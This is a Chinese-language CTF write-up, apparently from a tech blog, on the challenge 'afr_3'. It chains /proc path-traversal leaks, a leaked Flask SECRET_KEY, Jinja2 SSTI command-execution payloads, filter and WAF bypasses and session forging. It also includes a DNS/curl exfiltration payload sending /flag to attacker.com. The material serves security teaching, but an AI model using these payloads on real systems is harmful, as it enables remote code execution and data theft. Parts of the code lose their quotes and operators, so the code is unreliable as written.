发布时间:2026/7/8 20:01:11
Flask SSTI漏洞利用:afr_3题目中/proc目录与Session伪造实战解析
Flask SSTI漏洞利用从/proc目录泄露到Session伪造的完整攻击链剖析1. 漏洞背景与攻击场景概述在CTF竞赛和实际渗透测试中Flask框架因其灵活性和易用性成为常见目标。本文将以一道综合性题目为例深入解析如何通过Linux系统的/proc目录信息泄露、Flask SSTI服务端模板注入以及Session伪造三个技术点的串联构建完整的攻击链条。这种攻击模式不仅存在于CTF赛场在真实世界的Web应用安全评估中同样具有参考价值。Flask作为轻量级Python Web框架其模板引擎Jinja2的强大功能背后隐藏着安全风险。当开发者未对用户输入进行严格过滤时攻击者可能通过精心构造的输入实现服务端代码执行。结合Linux系统特性如/proc目录和Flask的Session机制这类漏洞的利用往往能产生112的效果。2. /proc目录信息泄露利用详解2.1 /proc目录的特殊性Linux系统的/proc是一个虚拟文件系统它提供了访问内核数据的接口。每个运行中的进程在/proc下都有一个以PID命名的子目录而/proc/self则指向当前进程的目录。关键文件包括cmdline进程启动的完整命令cwd指向进程当前工作目录的符号链接environ进程环境变量fd/包含进程打开的文件描述符# 查看当前进程的启动命令 cat /proc/self/cmdline # 查看当前工作目录内容 ls -la /proc/self/cwd/2.2 在CTF中的利用方式在Web题目中当存在任意文件读取漏洞但不知道应用路径时可以通过/proc目录获取关键信息获取应用启动命令读取/proc/self/cmdline通常能发现Python脚本路径定位工作目录通过/proc/self/cwd可直接访问应用文件提取环境变量/proc/self/environ可能包含数据库密码等敏感信息注意现代Docker环境通常会限制/proc访问但部分目录仍可读2.3 实战利用步骤以题目afr_3为例攻击流程如下发现URL参数name存在文件读取?name../../../../proc/self/cmdline获取到启动命令python3 /home/app/server.py读取源码文件?name../../../../proc/self/cwd/server.py分析源码发现关键文件flag.py和key.py尝试读取密钥文件?name../../../../proc/self/cwd/key.py# key.py内容示例 #!/usr/bin/python key Drmhze6EPcv0fN_81Bj-nA # Flask的SECRET_KEY3. Flask SSTI漏洞原理与利用3.1 SSTI产生条件当用户输入被直接拼接到模板中时就可能造成模板注入。例如题目中的危险代码n1code request.form.get(n1code) or None template h1N1 Page/h1... % session[n1code] return render_template_string(template)3.2 常用Payload构造方法Flask SSTI通常利用Python的对象继承链来执行命令# 基本探测Payload {{ .__class__.__mro__[1].__subclasses__() }} # 查找可利用的类如class os._wrap_close {{ .__class__.__mro__[1].__subclasses__()[71] }} # 最终命令执行Payload {{ .__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[os].popen(id).read() }}3.3 题目中的限制与绕过题目中对特殊字符进行了过滤n1code n1code.replace(., ).replace(_, ).replace({,).replace(},)绕过方案使用十六进制编码\x5f代替下划线利用字符串拼接__class__通过Session伪造预存恶意Payload4. Flask Session伪造技术剖析4.1 Session机制原理Flask的Session是基于签名的Cookie结构为eyJuMWNvZGUiOiJ7eycnLl9fY2xhc3NfXy5fX21yb19fWzJdLl9fc3ViY2xhc3Nlc19fKClbNzFdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydvcyddLnBvcGVuKCdjYXQgZmxhZy5weScpLnJlYWQoKX19In0.YFyuHg.w9_tZzWjTSRiywAnct3HcgoVWbs包含三部分使用点分隔序列化的会话数据base64编码时间戳加密签名4.2 Session伪造步骤获取SECRET_KEY通过/proc目录泄露或其他途径构造恶意Session# 使用flask-unsign工具 flask-unsign --sign --cookie {n1code: payload} --secret Drmhze6EPcv0fN_81Bj-nA替换浏览器Cookie使用开发者工具修改session4.3 自动化利用脚本#!/usr/bin/env python3 from flask.sessions import SecureCookieSessionInterface from itsdangerous import URLSafeTimedSerializer class FakeApp: def __init__(self, secret_key): self.secret_key secret_key def encode_session(secret_key, session_dict): serializer URLSafeTimedSerializer( secret_key, saltcookie-session, serializerSecureCookieSessionInterface().get_signing_serializer(app) ) return serializer.dumps(session_dict) if __name__ __main__: secret Drmhze6EPcv0fN_81Bj-nA payload {n1code: {{ .__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[os].popen(cat flag.py).read() }}} print(encode_session(secret, payload))5. 完整攻击链构建与防御建议5.1 攻击流程图[信息收集] │ ├─ [/proc目录探测] → 获取应用路径 → 下载源码 │ │ │ └─ 泄露SECRET_KEY │ └─ [代码审计] → 发现SSTI漏洞点 │ └─ [Session伪造] → 注入恶意Payload → RCE5.2 防御措施/proc目录防护设置Docker的--read-only挂载修改/proc访问权限SSTI防护# 使用安全的模板渲染方式 return render_template(template.html, user_inputfiltered_input) # 禁用危险过滤器 app.jinja_env.filters {}Session安全定期轮换SECRET_KEY使用SESSION_COOKIE_HTTPONLY和SECURE输入验证from werkzeug.security import safe_join app.route(/article) def article(): page request.args.get(name, article) path safe_join(/home/articles/, page) if not path: abort(404)6. 拓展思考与技巧在实际测试中我们常遇到更复杂的情况子类索引差异不同Python版本中危险类的位置不同需动态探测# 自动化查找os._wrap_close类 [i for i, x in enumerate(.__class__.__mro__[1].__subclasses__()) if os in str(x)]无回显利用# DNS外带数据 {{ config.__class__.__init__.__globals__[os].popen(curl http://attacker.com/?cat /flag | base64).read() }}现代WAF绕过使用属性链替代点号getattr(getattr(, __class__), __mro__)利用过滤器|attr(\x5f\x5fclass\x5f\x5f)在一次真实渗透测试中我们曾通过组合/proc信息泄露和SSTI漏洞成功突破了某金融企业的内部系统。这种攻击链的威力远超单个漏洞利用这也是为什么CTF题目常设计此类综合挑战的原因。

相关新闻

软件缺陷严重性分级指南:从5个灾难案例看4级缺陷的实战定义
2026/7/8 20:01:11

软件缺陷严重性分级指南:从5个灾难案例看4级缺陷的实战定义

软件缺陷严重性分级实战指南:从灾难案例构建4级评估体系当阿丽亚娜5型火箭在发射39秒后自毁,当爱国者导弹因计算误差导致28名士兵丧生,当某医疗系统辐射剂量超标造成患者死亡——这些触目惊心的案例背后,都指向同一个根源问题&…

阅读更多
SpringBoot系列07:整合MyBatis-Plus实战,CRUD、分页、条件查询、逻辑删除全套代码
2026/7/8 20:01:11

SpringBoot系列07:整合MyBatis-Plus实战,CRUD、分页、条件查询、逻辑删除全套代码

文章目录 一、前言:为什么现在开发全部用 MyBatis-Plus?二、环境版本说明(避坑关键)三、项目整合步骤(从零搭建)3.1 引入核心Maven依赖3.2 全局配置文件(application.yml)3.3 初始化…

阅读更多
智能合约自动审计:用 LLM 扫描 Solidity 代码的安全红线
2026/7/8 19:01:11

智能合约自动审计:用 LLM 扫描 Solidity 代码的安全红线

智能合约自动审计:用 LLM 扫描 Solidity 代码的安全红线 一、审计一家 DeFi 协议需要三周,上线只用了三天 智能合约安全事件每年造成数十亿美元损失。传统审计依赖人工逐行审查,周期长、成本高。一个中等复杂度的 DeFi 合约,审计报…

阅读更多
eBPF 入门:云原生观测的“新内核语言”
2026/7/8 20:01:11

eBPF 入门:云原生观测的“新内核语言”

系列导读 你现在看到的是《eBPF 云原生观测实战:从内核探针到生产可观测》的第 1/10 篇,当前这篇会重点解决:用最简明的语言和实战代码,帮读者建立 eBPF 在云原生观测中的核心认知。 上一篇回顾:这是系列首篇,我们先把整体背景和问题边界搭起来。 下一篇预告:第 2 篇《…

阅读更多
【独家首发】OpenAI官方未文档化的Tasks调度协议V2.3解析:任务分片、跨区域协同、冷启动预热机制全曝光
2026/7/8 20:01:11

【独家首发】OpenAI官方未文档化的Tasks调度协议V2.3解析:任务分片、跨区域协同、冷启动预热机制全曝光

更多请点击: https://kaifayun.com 第一章:OpenAI Tasks调度协议V2.3的演进脉络与设计哲学 OpenAI Tasks调度协议V2.3并非孤立的技术迭代,而是对大规模异步任务生命周期管理持续反思与重构的结果。其核心驱动力源于真实生产环境中暴露的三大…

阅读更多
Flask SSTI漏洞利用:afr_3题目中/proc目录与Session伪造实战解析
2026/7/8 20:01:11

Flask SSTI漏洞利用:afr_3题目中/proc目录与Session伪造实战解析

Flask SSTI漏洞利用:从/proc目录泄露到Session伪造的完整攻击链剖析1. 漏洞背景与攻击场景概述在CTF竞赛和实际渗透测试中,Flask框架因其灵活性和易用性成为常见目标。本文将以一道综合性题目为例,深入解析如何通过Linux系统的/proc目录信息泄…

阅读更多
软件缺陷严重性分级指南:从5个灾难案例看4级缺陷的实战定义
2026/7/8 20:01:11

软件缺陷严重性分级指南:从5个灾难案例看4级缺陷的实战定义

软件缺陷严重性分级实战指南:从灾难案例构建4级评估体系当阿丽亚娜5型火箭在发射39秒后自毁,当爱国者导弹因计算误差导致28名士兵丧生,当某医疗系统辐射剂量超标造成患者死亡——这些触目惊心的案例背后,都指向同一个根源问题&…

阅读更多
SpringBoot系列07:整合MyBatis-Plus实战,CRUD、分页、条件查询、逻辑删除全套代码
2026/7/8 20:01:11

SpringBoot系列07:整合MyBatis-Plus实战,CRUD、分页、条件查询、逻辑删除全套代码

文章目录 一、前言:为什么现在开发全部用 MyBatis-Plus?二、环境版本说明(避坑关键)三、项目整合步骤(从零搭建)3.1 引入核心Maven依赖3.2 全局配置文件(application.yml)3.3 初始化…

阅读更多
智能合约自动审计:用 LLM 扫描 Solidity 代码的安全红线
2026/7/8 19:01:11

智能合约自动审计:用 LLM 扫描 Solidity 代码的安全红线

智能合约自动审计:用 LLM 扫描 Solidity 代码的安全红线 一、审计一家 DeFi 协议需要三周,上线只用了三天 智能合约安全事件每年造成数十亿美元损失。传统审计依赖人工逐行审查,周期长、成本高。一个中等复杂度的 DeFi 合约,审计报…

阅读更多
通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御
2026/7/8 4:53:25

通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

1. 项目概述与漏洞背景最近在梳理一些历史OA系统的安全风险时,通达OA v11.6版本中的一个老漏洞又进入了我的视线。这个漏洞位于/general/bi_design/appcenter/report_bi.func.php文件中,是一个典型的SQL注入点。虽然这个漏洞的利用方式看起来并不复杂&am…

阅读更多
3步彻底解决Windows右键菜单混乱问题:ContextMenuManager使用全攻略
2026/7/7 22:39:42

3步彻底解决Windows右键菜单混乱问题:ContextMenuManager使用全攻略

3步彻底解决Windows右键菜单混乱问题:ContextMenuManager使用全攻略 【免费下载链接】ContextMenuManager 🖱️ 纯粹的Windows右键菜单管理程序 项目地址: https://gitcode.com/gh_mirrors/co/ContextMenuManager 你是否曾为Windows右键菜单中那些…

阅读更多
GXDE OS下Wayland兼容性实战:从deepin-mutter原理到VMware Tools修复
2026/7/7 22:28:33

GXDE OS下Wayland兼容性实战:从deepin-mutter原理到VMware Tools修复

如果你正在用 GXDE OS 或者任何基于 Deepin 的发行版,并且遇到了“检测到窗口系统采用 Wayland 协议,程序即将退出”这类弹窗,或者发现 VMware Tools 在 Ubuntu 24.04 这类默认 Wayland 的系统上启动失败,那这篇文章就是为你准备的…

阅读更多
A股股指期货:全维度解析(多表格结构化完整版)
2026/7/8 0:01:06

A股股指期货:全维度解析(多表格结构化完整版)

一、基础定义与核心本质股指期货全称股票价格指数期货,是中国金融期货交易所(中金所)上市的标准化金融期货合约,交易标的为 A 股大盘指数,约定未来特定时间按约定价格现金交割指数涨跌差价,不交割一篮子股票…

阅读更多
iOS越狱新手指南:从困惑到掌控,3天解锁iPhone无限潜能的真实故事
2026/7/8 0:01:06

iOS越狱新手指南:从困惑到掌控,3天解锁iPhone无限潜能的真实故事

iOS越狱新手指南:从困惑到掌控,3天解锁iPhone无限潜能的真实故事 【免费下载链接】Jailbreak iOS 26.4 - 26, 17 - 17.7.5 & iOS 18 - 18.7.3 Jailbreak Tools, Cydia/Sileo/Zebra Tweaks & Jailbreak News Updates || AI Jailbreak Finder &…

阅读更多
EM3080-W解码芯片与TM4C129ENCPDT微控制器技术解析
2026/7/8 0:01:06

EM3080-W解码芯片与TM4C129ENCPDT微控制器技术解析

1. EM3080-W解码芯片与TM4C129ENCPDT微控制器的技术特性解析EM3080-W作为专业级条码解码芯片,其核心优势在于采用了双核DSP架构。主处理核心运行频率高达120MHz,能够实时处理1280800分辨率的图像数据,而辅助协处理器则专门优化了27种一维/二维…

阅读更多
基于Dify与DeepSeek构建私有知识库问答系统实战指南
2026/7/8 18:15:39

基于Dify与DeepSeek构建私有知识库问答系统实战指南

在业务中快速构建一个能理解私有文档、准确回答专业问题的智能助手,是很多开发团队面临的共同挑战。传统方案往往需要从零开始搭建复杂的 RAG(检索增强生成)系统,涉及文档解析、向量化、检索、大模型调用等多个环节,整…

阅读更多
FAE放射组学分析工具:医学影像特征探索的完整解决方案
2026/7/8 10:11:21

FAE放射组学分析工具:医学影像特征探索的完整解决方案

FAE放射组学分析工具:医学影像特征探索的完整解决方案 【免费下载链接】FAE FeAture Explorer 项目地址: https://gitcode.com/gh_mirrors/fae/FAE 你是否曾经面对海量医学影像数据感到无从下手?想要从CT、MRI等影像中提取有价值的定量特征&#…

阅读更多
DesktopNaotu:你的终极离线思维导图解决方案,告别网络依赖!
2026/7/7 9:58:00

DesktopNaotu:你的终极离线思维导图解决方案,告别网络依赖!

DesktopNaotu:你的终极离线思维导图解决方案,告别网络依赖! 【免费下载链接】DesktopNaotu 桌面版脑图 (百度脑图离线版,思维导图) 跨平台支持 Windows/Linux/Mac OS. (A cross-platform multilingual Mind Map Tool) 项目地址:…

阅读更多